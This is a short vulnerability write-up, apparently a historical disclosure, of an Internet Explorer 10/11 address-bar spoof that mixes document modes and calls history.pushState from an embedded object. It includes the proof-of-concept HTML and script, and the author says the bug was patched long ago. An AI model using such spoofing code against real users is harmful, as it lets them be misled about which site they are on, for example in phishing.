Address Bar Spoof via Mixed Document Modes and history.pushState

Mixing document modes between a parent page (running in IE5/quirks) and an embedded <object type="text/html"> (running in IE10) creates a situation where the inner frame’s history.pushState affects the top-level address bar. The outer page loses control of what URL is shown without being able to modify it directly.

<!-- index.html: outer page in quirks/IE5 mode -->
<meta http-equiv="X-UA-Compatible" content="IE=5" />
<!-- ... -->
The OBJECT below is in documentMode 10, and using history.pushState
we can confuse the address bar of the top window.
<object data="docmode10.html" type="text/html" width="1000" height="550"></object>

// docmode10.html: inner page in IE10 mode
if (document.documentMode < 9) {
    location.reload();
} else {
    history.pushState("", "", "redirect.aspx");
    location.reload();
}

When the inner object calls history.pushState, the top window’s address bar updates to show redirect.aspx — which can point anywhere. The outer page and the inner object are in different document modes, and the address bar update from the inner frame’s pushState propagates upward without the outer page’s consent. Tested on IE10/IE11 with the supporting sub-folder variations covering 10-to-8 and 5-to-10 mode mixing.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.